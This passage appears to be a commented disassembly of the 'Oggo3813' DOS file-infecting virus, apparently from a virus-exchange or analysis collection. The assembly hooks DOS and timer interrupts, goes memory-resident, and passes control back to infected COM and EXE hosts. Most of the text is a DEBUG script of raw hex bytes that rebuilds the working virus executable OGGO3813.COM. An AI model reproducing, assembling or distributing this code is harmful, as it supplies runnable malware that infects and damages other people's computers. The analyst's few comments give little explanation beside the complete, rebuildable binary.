mov di,0ah ; be overwritten
mov bx,cs:[di]
mov TerminateOffset,bx
mov bx,cs:[di+2]
mov TerminateSegment,bx
mov dx,offset isTerminate-100h
add dx,100h
mov cs:[0ah],dx
mov dx,cs
mov cs:[0ch],dx
mov ax,3521h ; save int 21 vector
int 21h
mov DosIntOffset,bx
mov DosIntSegment,es
sub ah,10h ; hook int 21
mov dx,offset isDos
pushf
call DosInterrupt
mov Timer,0 ; initialize counters
mov Minutes,0
add ah,10h ; save int 8 vector
mov al,8
call UseDos
mov ClockIntOffset,bx
mov ClockIntSegment,es
sub ah,10h ; hook int 8
mov dx,offset isClock
call UseDos
push ds
pop es
mov ah,49h
call UseDos
mov dx,1271h ; tsr 4721 paras = 75536 bytes
mov ah,31h ; I don't know how the author
pushf ; got this figure
call DosInterrupt
isTerminate:
mov ax,cs
mov ds,ax
mov di,offset TerminateOffset
mov bx,cs:[di+2]
mov cs:[0ch],bx
;--------------------------------------------------------------------
; This is a check if it is a first generation. We don't exactly what
; the first gen codes are. It is possible for the check to return
; a match even if it is not a first gen.
;--------------------------------------------------------------------
mov ax,cs
mov ds,ax
mov si,(offset EndOfVirusCode+200h)+5
mov dx,cs:[si]
cmp dx,-2 ; am i a first gen?
jne NotFirstGen
jmp (EndOfVirusCode+200h)+7 ; return to first gen codes
NotFirstGen:
push cs
pop es
mov ax,offset EndOfVirusCode-2 ; init exec param????
mov di,offset ExecParam+2
mov cs:[di],ax
mov ax,cs
mov cs:[di+2],ax
mov bx,offset ExecParam
mov ViruSs,ss
mov ViruSp,sp
mov dx,offset Asciiz+3
mov ah,4bh
mov al,0
pushf
call DosInterrupt
push cs
pop ds
cli
mov si,offset ViruSs
mov ss,cs:[si]
mov sp,cs:[si+2] ; sp value is now wrong
sti
mov ah,4dh
int 21h
mov ah,4ch
int 21h
VirusIsInMemory:
mov di,offset FileTypeFlag-100h ; determine host file type
add di,si
mov al,cs:[di]
cmp al,1
je HostIsExe
jmp HostIsCom
HostIsExe:
pop es ; execute host exe
mov di,offset ExeSs-100h
add di,si
mov ax,es
add ax,cs:[di]
add ax,16
mov ss,ax
mov sp,cs:[di+2]
mov di,offset ExeIp-100h
add di,si
mov ax,cs:[di]
mov cs:[si+(offset HostExeOffset-100h)],ax
mov di,offset ExeCs-100h
add di,si
mov ax,es
add ax,cs:[di]
add ax,16
mov cs:[si+(offset HostExeSegment-100h)],ax
clc
jmp dword ptr cs:[si+(offset ExecuteHostExe-100h)]
HostIsCom:
pop es ; execute host com
mov di,offset ComLength-100h
add di,si
mov cx,cs:[di]
add cx,offset EndOfVirusCode ; get location of host
jmp cx ; code restorer at eof
ExecParam dw 0,0,0,0,0,0,0
db 0,13
EndOfVirusCode:
;--------------------------------------------------
; Host COM program codes starts here.
;--------------------------------------------------
;==================================================
;--------------------------------------------------
; This is not the original first generation codes.
; What that is we won't know for sure.
;--------------------------------------------------
db 10,'Oggo just gobbled up a large chunk of your memory',13,10,'$'
FirstGeneration:
pop ax
xor ax,ax
push cs
pop ds
mov word ptr OggoEntry+1,ax
mov ax,3521h
int 21h
mov DosIntOffset,bx
mov DosIntSegment,es
mov ax,3508h
int 21h
mov ClockIntOffset,bx
mov ClockIntSegment,es
mov Timer,0
mov Minutes,0
mov dx,offset isDos
mov ax,2521h
int 21h
mov ax,2508h
mov dx,offset isClock
int 21h
push cs
pop es
mov dx,offset EndOfVirusCode-1
mov ah,9
int 21h
mov dx,1271h
mov ax,3100h
int 21h
Oggo3813 ends
end OggoEntry
ÄÄ OGGO3813.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄ OGGO3813.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
N OGGO3813.COM
E 0100 E8 00 00 5E 83 EE 03 56 BF 19 00 03 FE B0 51 B9
E 0110 CC 10 2E 28 05 47 E2 FA 5E 09 51 51 57 DF 11 77
E 0120 D4 8F 94 52 52 C5 54 3A 71 5E 3A A2 5F 51 51 51
E 0130 51 51 8D 51 04 5E 49 91 62 51 51 51 51 51 51 51
E 0140 51 51 51 51 51 51 ED 8E 51 9C C5 54 3A 86 56 A1
E 0150 A4 A2 A3 A8 A7 6F 57 09 51 51 DF 11 77 18 57 94
E 0160 52 52 51 A3 39 51 51 AF 0B B8 51 7C 43 AB 6F A3
E 0170 A7 10 F2 56 54 4F A2 01 51 0A B5 51 7F D9 56 98
E 0180 33 4B AA 10 F2 56 54 4F A7 DC 43 DB 55 7F D9 56
E 0190 7F DB 56 8D 71 C5 59 8D 51 C5 55 97 98 3C 3D AF
E 01A0 01 51 7F D9 56 7F DC 96 4F 8E A0 9E C6 61 10 2D
E 01B0 56 54 4F 01 51 7F D9 56 AF AB 70 3C 5F E1 10 2D
E 01C0 56 54 4F 01 52 7F D9 56 AF AB 70 5F 70 09 75 86
E 01D0 39 AD 5D 7F DA 6F 51 31 7F DD 57 55 31 09 75 76
E 01E0 0B 6D 5E D2 13 51 52 39 96 5D 0B F2 56 54 27 05
E 01F0 94 01 51 39 8A 5D 10 1F 56 54 4F 7F D9 5E 7F D9
E 0200 BE 52 0B F2 56 54 27 05 94 01 52 D1 32 4D 39 6F
E 0210 5D C4 54 3A A7 55 0B F2 56 54 27 05 8E 01 53 39
E 0220 5E 5D C4 54 3A 96 55 10 23 56 54 4F 7F D9 56 7F
E 0230 D9 B6 52 10 23 56 54 4F 7F DC 6E 05 A8 01 51 39
E 0240 3E 5C 10 29 56 54 4F 7F D9 5E 7F D9 BE 52 10 25
E 0250 56 54 4F 7F D9 66 7F D9 C6 52 10 2D 56 54 4F 7F
E 0260 DB 56 8D 52 C5 54 3A 67 53 10 23 56 54 4F 7F DC
E 0270 6E 05 90 0A 81 51 0B 3A 56 54 27 39 02 5C A4 10
E 0280 3A 56 54 4F D4 18 63 7F D2 8E C1 6A C6 63 10 3A
E 0290 56 54 4F D4 18 61 7F D4 8E 4F C6 55 AC 3A 2D 52
E 02A0 84 23 05 87 01 51 39 D7 5C 84 23 48 34 48 32 5C
E 02B0 23 C6 5D 10 36 61 8C 18 C4 56 39 C9 55 3C 32 10
E 02C0 23 56 54 4F 7F DC 6E 05 93 84 1A 84 23 A1 A3 01
E 02D0 51 39 AC 5C AB A9 01 53 39 A5 5C 0C 51 53 48 44
E 02E0 D4 4B A6 CD 54 56 52 51 56 59 51 10 3E 56 54 4F
E 02F0 7F DA 56 10 42 56 54 4F 7F DC 5E 10 50 56 54 4F
E 0300 7F DC 66 10 38 56 54 4F 7F DA 66 10 4E 56 54 4F
E 0310 7F DC 6E 10 36 56 54 4F 7F DA 6E 10 48 56 54 4F
E 0320 7F DC 66 10 32 56 54 4F 7F DA 66 10 4A 56 54 4F
E 0330 7F DC 6E 10 34 56 54 4F 7F DA 6E AC A4 A2 05 93
E 0340 84 1A 84 23 A1 A3 01 51 39 35 5B AB A9 01 53 39
E 0350 2E 5B AA DC 2A 02 55 24 34 0A 51 51 7C 14 6C 22
E 0360 84 50 A1 0A 5D 51 24 33 0A 55 51 24 39 54 21 10
E 0370 50 56 54 4F 7F DA 66 10 48 56 54 4F 7F DA 66 10
E 0380 4A 56 54 4F 7F 18 56 4F 50 10 4C 56 54 4F 7F 18
E 0390 56 C1 6A A9 DC 21 02 55 24 3B 24 33 7C 13 10 4E
E 03A0 56 54 4F 7F DA 56 AC 10 23 56 54 4F 7F DC 6E 84
E 03B0 23 84 1A 05 93 01 51 39 C6 5B 05 91 0A 81 51 0B
E 03C0 3A 56 54 27 39 B9 5B C4 54 3A F1 53 10 23 56 54
E 03D0 4F 7F DC 6E 84 1A 84 23 01 53 05 93 39 A1 5B A7
E 03E0 A4 10 85 52 7F DC 56 DF 29 10 83 52 7F DC 66 09
E 03F0 59 76 39 8B 5B 10 31 5A 7F DB 56 7F F3 EF 57 7F
E 0400 D1 8F 31 5A 6F CF 57 7F D1 7F 31 5A 6F 10 89 52
E 0410 7F DC 56 DF 29 7F DC A6 4F 09 72 76 39 61 5B 5F
E 0420 70 5F 58 0F 83 55 10 36 62 0A 7D 51 4D 44 F5 3A
E 0430 04 5E 10 6A 52 01 A2 0A 1D 61 7F 51 56 98 33 4B
E 0440 AC 05 91 0A 36 61 0B 51 52 1E 72 10 6A 52 01 A2
E 0450 0A 1D 61 7F 79 56 98 33 4B 09 AF 55 50 31 AF 5F
E 0460 70 10 EF 57 7F DB 56 7F F3 31 5A 0B 97 52 09 72
E 0470 76 1E 72 09 59 76 0B 0F 58 39 04 5A 3A F3 52 A7
E 0480 A8 57 6F ED 10 23 56 54 4F 7F DC 6E 05 90 0A 63
E 0490 51 0B DB 56 54 27 39 E7 5A A7 DC 17 0A 5D 51 10
E 04A0 DB 56 54 49 0F 51 51 54 41 7F DB 56 7F DB 6D 8B
E 04B0 29 C6 59 97 98 33 43 AF 3A B2 52 84 23 05 87 01
E 04C0 51 39 BC 5A 84 23 48 34 48 32 5C 23 C6 5D 10 36
E 04D0 61 8C 18 C4 56 39 AE 53 3C 32 AF 10 23 56 54 4F
E 04E0 7F DC 6E 05 93 C4 54 3A D3 52 84 1A 84 23 A2 A3
E 04F0 01 51 39 8B 5A AB AA 05 93 01 53 39 82 5A 10 2E
E 0500 56 54 4F 7F DA 56 10 23 56 54 4F 7F DC 6E 05 93
E 0510 84 1A 84 23 01 51 39 67 5A 05 90 10 23 56 54 4F
E 0520 7F DC 6E 10 2E 56 54 4F 7F DC 5E DD 1B DF 2B 0B
E 0530 36 60 39 4B 59 54 21 57 5F 58 A7 0F 9C 56 DC 4B
E 0540 0A 69 51 4D 44 F5 AF 58 3C 6A E1 10 2E 56 D2 18
E 0550 51 52 7F DC 5E 0F 36 60 10 51 52 4D 44 F5 09 51
E 0560 52 50 31 A8 10 23 56 54 4F 7F DC 6E 05 93 84 1A
E 0570 84 23 01 51 39 09 59 A7 A4 10 85 52 7F DC 56 DF
E 0580 29 10 83 52 7F DC 66 09 59 76 39 F3 59 10 31 5A
E 0590 7F DB 56 7F F3 EF 57 7F D1 8F 31 5A 6F CF 57 7F
E 05A0 D1 7F 31 5A 6F 10 89 52 7F DC 56 DF 29 7F DC A6
E 05B0 4F 09 72 76 39 C9 59 5F 70 5F 58 AC AF B0 A7 A4
E 05C0 DC 18 0F 1E 56 0A 82 51 4D 44 F5 50 31 DC 21 10
E 05D0 6A 52 01 A2 0A 1D 61 7F 51 56 98 33 4B AC 05 91
E 05E0 DC 1B D2 3A 51 52 0B 51 52 1E 72 10 6A 52 01 A2
E 05F0 0A 1D 61 7F 79 56 98 33 4B 09 4F 56 50 31 AF 5F
E 0600 70 0B 97 52 09 72 76 1E 72 10 EF 57 7F DB 56 7F
E 0610 F3 31 5A 09 59 76 0B 0F 58 39 64 59 EE 70 58 B0
E 0620 AF 10 23 56 54 4F 7F DC 6E 10 25 56 54 4F 7F DC
E 0630 66 10 29 56 54 4F 7F DC 5E 05 A8 01 52 39 40 58
E 0640 C4 54 3C 79 E1 10 23 56 54 4F 7F DC 6E 09 51 8F
E 0650 39 2D 58 0B F2 56 54 27 05 94 01 52 10 1F 56 54
E 0660 4F 7F DC 5E 39 19 58 C4 54 3C 52 E1 09 75 76 7F
E 0670 DF 6F 55 31 7F DC 67 51 31 39 04 58 58 70 AF B0
E 0680 AB AA AC A9 EE 7F 50 7F 87 52 3A 03 52 5E 71 71
E 0690 71 5E 5B 9E B2 B3 C6 B9 B2 CA 72 5E 51 51 23 51
E 06A0 51 92 8B AD A0 98 98 A0 84 89 82 84 7F 94 A0 9E
E 06B0 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
E 06C0 51 51 51 51 51 51 51 51 51 51 51 51 51 51 71 51
E 06D0 51 51 56 51 B9 75 51 51 A0 73 51 51 51 13 52 51
E 06E0 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
E 06F0 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
E 0700 51 51 51 51 51 60 52 A1 9C 9D 9A A5 96 71 94 C0
E 0710 C1 C3 7F 71 82 8A 8A 81 7E 51 51 51 51 51 51 51
E 0720 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
E 0730 51 51 51 51 51 A1 A4 A2 A3 A7 A8 6F 5F 70 10 DC
E 0740 58 0A 83 51 03 51 7F D9 66 98 33 49 0B DC 58 05
E 0750 6B 39 2C 57 0B D7 58 05 9F 0A 53 51 39 21 57 05
E 0760 94 0B FA 58 01 51 39 17 57 0B FA 58 05 94 01 52
E 0770 D1 32 4D 39 0A 57 0B FA 58 05 92 39 02 57 70 B0
E 0780 AF AB AA AC A9 14 7B 7F 7B 51 51 52 90 90 90 90
E 0790 90 90 90 90 90 90 90 53 53 51 51 51 4A 5B C5 C6
E 07A0 71 11 83 10 6D C1 9E 51 51 95 96 93 7F 96 A9 96
E 07B0 51 51 51 51 51 51 51 51 51 51 51 51 51 51 ED A7
E 07C0 A1 7F 50 57 2A 5A 7F D2 8F 2A 5A 95 55 C5 54 3A
E 07D0 9D 52 7F 18 57 2A 5A 51 51 7F 4F 57 29 5A 0F 31
E 07E0 5A 7F DB 55 7F 89 57 29 5A C5 54 3A 81 52 5F 70
E 07F0 4B 05 51 01 57 1E 61 10 52 51 0F B8 5A 0A A1 51
E 0800 7F 52 8D 7F 47 65 97 98 33 47 01 52 84 2C 05 5D
E 0810 10 FA 5A 07 64 03 6A 39 5D 52 10 B8 5A 07 66 03
E 0820 6A 39 53 52 10 C8 5A 07 67 03 6A 39 49 51 10 DF
E 0830 5A 07 68 03 6A 39 3F 51 84 2C 0F EB 5D 10 23 51
E 0840 09 B5 51 04 52 39 49 51 0F 32 5A 10 37 51 09 65
E 0850 51 04 52 39 3B 51 0F 32 5A 10 91 52 09 65 51 04
E 0860 52 39 2D 51 5F 70 0B C1 59 05 76 01 59 39 10 56
E 0870 05 5D 84 2C 0A 5B 51 A2 10 C4 5D 01 52 0F 9A 5C
E 0880 84 1A 84 23 7F DB 5D 7F DB A5 52 97 97 A4 84 2C
E 0890 7F DB 6E 54 1C D2 12 32 51 7F DB AE 52 54 24 D4
E 08A0 13 65 AC 1E 61 84 1A 7F DB 5D D2 4A 4F 51 C6 21
E 08B0 0F 9A 5C 84 1A 84 23 7F DB 5D 7F DB A5 52 97 97
E 08C0 A4 84 2C 7F DB 6E D2 12 BC 52 7C 1C 7F DB AE 52
E 08D0 54 24 AC D4 13 65 1E 61 84 1A 7F DB 5D D2 4A 4F
E 08E0 51 C6 21 8D 52 C6 75 A3 57 A1 0B 09 5C 09 51 41
E 08F0 DF 11 77 D1 8F 4F 50 4D C6 54 0B 51 41 9B D4 4B
E 0900 51 C6 4B A9 58 AB 01 51 3A C3 50 01 52 98 98 7F
E 0910 DB 66 D1 4B 4F C5 54 3A B2 50 AA 3A AA 50 A9 AF
E 0920 EE 7F 50 7F 83 52 08 51 05 53 1E 61 7F DB 56 04
E 0930 51 08 51 05 5F 1E 61 98 7F DB 56 8D 75 C6 3E 14
E 0940 84 1A 84 23 7F DB 5D 7F DB A5 52 97 97 54 20 54
E 0950 21 A1 05 5D DB 14 08 51 1E 61 A9 84 1A 7F DB 5D
E 0960 D2 4A 4F 51 C6 2B 14 2F 2E 2D 2C 2B 2A 29 28 27
E 0970 26 25 E2 CA 1E 1D 1C 1F 1E 1D 1C E7 D2 D4 18 E7
E 0980 F5 E9 E4 F2 E7 11 E9 BD BF B8 BC 07 06 05 E5 B7
E 0990 D3 C2 BB F7 E1 BD BF B2 AB AE AE FB C5 AB AF A1
E 09A0 B1 A3 A1 AA 9E 98 EC EB EA ED EC EB EA E9 E8 E7
E 09B0 E6 E5 B5 E3 BB E1 B9 71 A0 75 75 75 51 51 51 51
E 09C0 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
E 09D0 51 51 51 51 51 51 51 51 5E B9 54 51 51 51 51 51
E 09E0 23 52 6B 52 6C 52 6D 52 6E 52 6F 52 70 52 71 52
E 09F0 72 52 73 52 74 52 66 53 67 53 68 53 69 53 75 53
E 0A00 76 53 77 53 78 54 64 54 65 54 79 54 7A 55 61 55
E 0A10 62 55 63 55 7B 55 7C 55 7D 56 60 56 7E 57 5E 57
E 0A20 5F 57 7F 57 80 58 5D 58 81 59 5C 59 82 5A 5B 5A
E 0A30 83 5B 5A 5B 84 5C 59 5C 85 5D 58 5D 86 5E 57 5E
E 0A40 87 5F 56 5F 88 60 56 60 88 61 55 61 89 62 54 62
E 0A50 8A 63 54 63 8A 64 54 64 8A 65 53 65 8B 66 53 66
E 0A60 8B 67 52 67 8C 68 52 68 8C 69 52 69 8C 6A 52 6A
E 0A70 8C 6A 19 6B 8D 6B 19 6C 8D 6C 19 6D 8D 6D 19 6E
E 0A80 8D 6E 19 6F 8D 6F 19 70 8D 70 19 71 8D 71 19 72
E 0A90 8D 72 19 73 8D 73 19 74 8D 74 19 75 8D 76 52 76
E 0AA0 8C 77 52 77 8C 78 52 78 8C 79 52 79 8C 7A 53 7A
E 0AB0 8B 7B 53 7B 8B 7C 54 7C 8A 7D 54 7D 8A 7E 54 7E
E 0AC0 8A 7F 55 7F 89 80 56 80 88 81 56 81 88 82 57 82
E 0AD0 87 83 58 83 86 84 59 84 85 85 5A 85 84 86 5B 86
E 0AE0 83 87 5C 87 82 88 5D 88 81 89 5E 89 5F 89 7F 89
E 0AF0 80 8A 60 8A 7E 8B 61 8B 62 8B 63 8B 7B 8B 7C 8B
E 0B00 7D 8C 64 8C 65 8C 79 8C 7A 8D 66 8D 67 8D 68 8D
E 0B10 69 8D 75 8D 76 8D 77 8D 78 8E 6A 8E 6B 8E 6C 8E
E 0B20 6D 8E 6E 8E 6F 8E 70 8E 71 8E 72 8E 73 8E 74 6B
E 0B30 51 6C 51 6D 51 6E 51 6F 51 70 51 71 51 72 51 73
E 0B40 51 74 51 75 51 76 51 4F 4F 54 5D 54 5E 55 5B 55
E 0B50 5C 55 5D 55 5E 55 5F 56 5B 56 5C 56 5D 56 5E 56
E 0B60 5F 57 5A 57 5B 57 5C 57 5D 57 5E 57 5F 57 60 58
E 0B70 5A 58 5B 58 5C 58 5D 58 5E 58 5F 58 60 59 5A 59
E 0B80 5B 59 5C 59 5D 59 5E 59 5F 59 60 5A 59 5A 5A 5A
E 0B90 5B 5A 5C 5A 5D 5A 5E 5A 5F 5A 60 5A 61 5B 59 5B
E 0BA0 5A 5B 5B 5B 5C 5B 5D 5B 5E 5B 5F 5B 60 5B 61 5C
E 0BB0 59 5C 5A 5C 5B 5C 5C 5C 5D 5C 5E 5C 5F 5C 60 5C
E 0BC0 61 5D 59 5D 5A 5D 5B 5D 5C 5D 5D 5D 5E 5D 5F 5D
E 0BD0 60 5D 61 5E 59 5E 5A 5E 5B 5E 5C 5E 5D 5E 5E 5E
E 0BE0 5F 5E 60 5E 61 5F 59 5F 5A 5F 5B 5F 5C 5F 5D 5F
E 0BF0 5E 5F 5F 5F 60 5F 61 60 59 60 5A 60 5B 60 5C 60
E 0C00 5D 60 5E 60 5F 60 60 60 61 61 59 61 5A 61 5B 61
E 0C10 5C 61 5D 61 5E 61 5F 61 60 61 61 62 59 62 5A 62
E 0C20 5B 62 5C 62 5D 62 5E 62 5F 62 60 62 61 63 5A 63
E 0C30 5B 63 5C 63 5D 63 5E 63 5F 63 60 64 5A 64 5B 64
E 0C40 5C 64 5D 64 5E 64 5F 64 60 65 5A 65 5B 65 5C 65
E 0C50 5D 65 5E 65 5F 65 60 66 5B 66 5C 66 5D 66 5E 66
E 0C60 5F 67 5B 67 5C 67 5D 67 5E 67 5F 68 5C 68 5D 68
E 0C70 5E 4F 4F 5D 52 5B 57 59 63 59 67 5B 6D 5D 71 5D
E 0C80 75 63 77 69 78 6F 78 73 77 74 75 74 69 75 65 75
E 0C90 5B 6F 57 65 52 63 52 5F 4F 4F 56 5D 57 5D 58 5E
E 0CA0 59 5E 5A 5E 5B 5F 5C 5F 5D 5F 5E 60 5F 60 60 60
E 0CB0 61 60 62 61 63 61 64 61 65 61 66 62 67 62 68 62
E 0CC0 69 62 6A 63 6B 63 6C 63 6D 63 6E 64 6F 64 70 64
E 0CD0 71 64 72 64 73 65 74 65 75 65 76 65 77 65 78 66
E 0CE0 79 66 7A 66 7B 66 7C 66 7D 67 7E 67 7F 67 80 67
E 0CF0 81 67 82 67 83 67 84 68 85 68 86 68 87 68 88 68
E 0D00 89 68 8A 68 8B 69 8C 69 8D 69 8E 69 8F 69 90 69
E 0D10 91 69 92 69 93 69 94 69 95 6A 96 6A 97 6A 98 6A
E 0D20 99 6A 9A 6A 9B 6A 9C 6A 9D 6A 9E 6A 9F 6A A0 6A
E 0D30 A1 6A A2 6B A3 6B A4 6B A5 6B A6 6B A7 6B A8 6B
E 0D40 A9 6B AA 6B AB 6B AC 6B AD 6B AE 6B AF 6B B0 6B
E 0D50 B1 6B B2 6B B3 6B B4 6B B5 6B B6 6B B7 6B B8 6B
E 0D60 B9 6B BA 6B BB 6B BC 6B BD 6B BE 6B BF 6B C0 6B
E 0D70 C1 6B C2 6B C3 6B C4 6B C5 6B C6 6B C7 6B C8 6B
E 0D80 C9 6A CA 6A CB 6A CC 6A CD 6A CE 6A CF 6A D0 6A
E 0D90 D1 6A D2 6A D3 6A D4 6A D5 6A D6 69 D7 69 D8 69
E 0DA0 D9 69 DA 69 DB 69 DC 69 DD 69 DE 69 DF 69 E0 68
E 0DB0 E1 68 E2 68 E3 68 E4 68 E5 68 E6 68 E7 67 E8 67
E 0DC0 E9 67 EA 67 EB 67 EC 67 ED 67 EE 66 EF 66 F0 66
E 0DD0 F1 66 F2 66 F3 65 F4 65 F5 65 F6 65 F7 65 F8 64
E 0DE0 F9 64 FA 64 FB 64 FC 64 FD 63 FE 63 FF 63 00 63
E 0DF0 01 62 02 62 03 62 04 62 05 61 06 61 07 61 08 61
E 0E00 09 60 0A 60 0B 60 0C 60 0D 5F 0E 5F 0F 5F 10 5E
E 0E10 11 5E 12 5E 13 5D 14 5D 15 5D 4F 4F 84 11 DF 11
E 0E20 77 DF 67 A1 52 77 DC 77 A6 52 A9 58 AE 4A 14 A6
E 0E30 57 A1 84 11 DF 11 77 DD 67 A1 52 77 DA 77 A6 52
E 0E40 A9 58 ED 7F 50 6F 87 52 AE 14 3C 57 E1 44 F5 3C
E 0E50 8A E1 58 5F 70 A7 DC 17 10 51 52 0A 36 61 D2 3A
E 0E60 51 52 54 1F A2 0F 51 51 54 41 0A A3 5E 54 19 44
E 0E70 F5 0C 9E 5E D2 14 51 52 AA 7C 20 7F DA 6F 8B 52
E 0E80 7F DD 57 8D 52 7F 50 7F 8B 52 AF 57 84 11 DF 11
E 0E90 77 18 57 94 52 52 51 5F 70 58 7F DD 57 7E 52 10
E 0EA0 5B 51 7F DC 6E 7F DA 6F 7F 52 7F DC AE 53 7F DA
E 0EB0 6F 81 52 0B 6C 5F D2 13 51 52 7F DA 67 5B 51 DD
E 0EC0 1B 7F DA 67 5D 51 09 72 86 1E 72 7F DA 6F 87 52
E 0ED0 7F DD 57 89 52 D1 3D 61 0B 97 52 ED 7F 50 6F 87
E 0EE0 52 7F 18 57 2A 5A 51 51 7F 17 57 29 5A 51 D1 15
E 0EF0 61 01 59 39 8A 50 7F DA 6F 83 52 7F DD 57 85 52
E 0F00 D1 3D 61 0B 0F 58 39 77 50 6F 58 05 9A 39 70 50
E 0F10 0B C2 63 05 82 ED 7F 50 6F 87 52 DD 19 DF 29 10
E 0F20 7F 52 7F DC AE 53 7F DA 6F 5D 51 DD 19 DF 29 0F
E 0F30 3B 62 7F DC 65 D4 4B 4F C6 54 3A 00 53 5F 58 09
E 0F40 34 60 10 28 60 7F DA 56 DD 19 7F DA 96 53 0C 26
E 0F50 60 7F DD 67 84 58 7F DA 77 82 58 0B F5 57 05 9C
E 0F60 01 51 ED 7F 50 6F 87 52 5F 70 4B 0F 84 58 7F DF
E 0F70 65 7F DC B5 53 4C 05 9E 1E 72 05 9D 1E 72 10 2D
E 0F80 56 54 4F 7F DB 56 8D 52 C5 54 3C 8B E1 58 10 32
E 0F90 56 54 4F DD 11 7F 54 56 56 61 51 DF 21 7F DC B6
E 0FA0 53 10 36 56 54 4F 7F DC 56 7F DA D5 93 51 10 38
E 0FB0 56 54 4F DD 11 7F 54 56 56 61 51 7F DA D5 95 51
E 0FC0 49 7F 50 FD 93 51 58 10 2E 56 54 4F 7F DC 5E D2
E 0FD0 12 36 60 50 32 51 51 51 51 51 51 51 51 51 51 51
E 0FE0 51 51 51 51 5E 3A 03 52 5E 71 71 71 5E 5B 9E B2
E 0FF0 B3 C6 B9 B2 CA 72 5E 5B 5B A5 B9 BA C4 71 BA C4
E 1000 71 A0 B8 B8 C0 7F 84 89 82 84 71 C7 BA C3 C6 C4
E 1010 71 B4 C0 BE BA BF B8 71 C5 C0 71 CA C0 C6 71 B7
E 1020 C3 C0 BE 71 C5 B9 B6 71 A1 B9 BA BD BA C1 C1 BA
E 1030 BF B6 C4 7F 5E 5B 93 C3 C0 C6 B8 B9 C5 71 C5 C0
E 1040 71 CA C0 C6 71 BD BA C7 B6 71 B3 CA 71 99 96 A9
E 1050 7E 97 9A 9D 96 A4 71 9F C0 7F 71 83 5E 5B 5B 99
E 1060 96 A9 7E 97 9A 9D 96 A4 71 B2 BF B5 71 A1 C6 C5
E 1070 C0 BC C4 B2 71 9C B2 C8 B2 CA B2 BF 71 B2 C3 B6
E 1080 71 BF C0 C5 71 C3 B6 C4 C1 C0 BF C4 BA B3 BD B6
E 1090 71 B7 C0 C3 71 B2 B4 C5 C6 B2 BD 7D 71 BA BE C1
E 10A0 BD BA B6 B5 71 B2 BF B5 80 C0 C3 5E 5B BA BE B2
E 10B0 B8 BA BF B2 C3 CA 71 B5 B2 BE B2 B8 B6 71 B3 C3
E 10C0 C0 C6 B8 B9 C5 71 B2 B3 C0 C6 C5 71 B3 CA 71 C5
E 10D0 B9 B6 71 C6 C4 B6 7D 71 BE BA C4 C6 C4 B6 71 C0
E 10E0 C3 71 BF C0 BF 7E C6 C4 B6 71 C0 B7 71 C5 B9 BA
E 10F0 C4 71 C7 BA C3 BA BA 7F 71 A5 B9 B6 5E 5B C1 B6
E 1100 C3 C4 C0 BF 71 C8 B9 C0 71 B6 C9 B6 B4 C6 C5 B6
E 1110 C4 71 C5 B9 BA C4 71 C7 BA C3 BA BA 71 B3 B6 B2
E 1120 C3 C4 71 B7 C6 BD BD 71 C3 B6 C4 C1 C0 BF C4 BA
E 1130 B3 BA BD BA C5 CA 71 B7 C0 C3 71 B9 BA C4 80 B9
E 1140 B6 C3 71 B2 B4 C5 BA C0 BF C4 7F 5E 5B 5B A5 B9
E 1150 BA C4 71 C7 BA C3 BA BA 71 BA C4 71 C4 C5 C3 BA
E 1160 B4 C5 BD CA 71 B7 C0 C3 71 B6 B5 C6 B4 B2 C5 BA
E 1170 C0 BF B2 BD 71 B2 BF B5 80 C0 C3 71 C3 B6 C4 B6
E 1180 B2 C3 B4 B9 71 C1 C6 C3 C1 C0 C4 B6 C4 71 C0 BF
E 1190 BD CA 7F 5E 5B 5B 75 59 71 6B 5F 70 0B 58 52 05
E 11A0 5A 1E 72 05 9D 1E 72 10 2E 56 D2 18 51 52 7F DC
E 11B0 5E 0F 36 60 10 51 52 4D 44 F5 09 51 52 50 31
RCX
10BF
W
Q
ÄÄ OGGO3813.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
EoF.
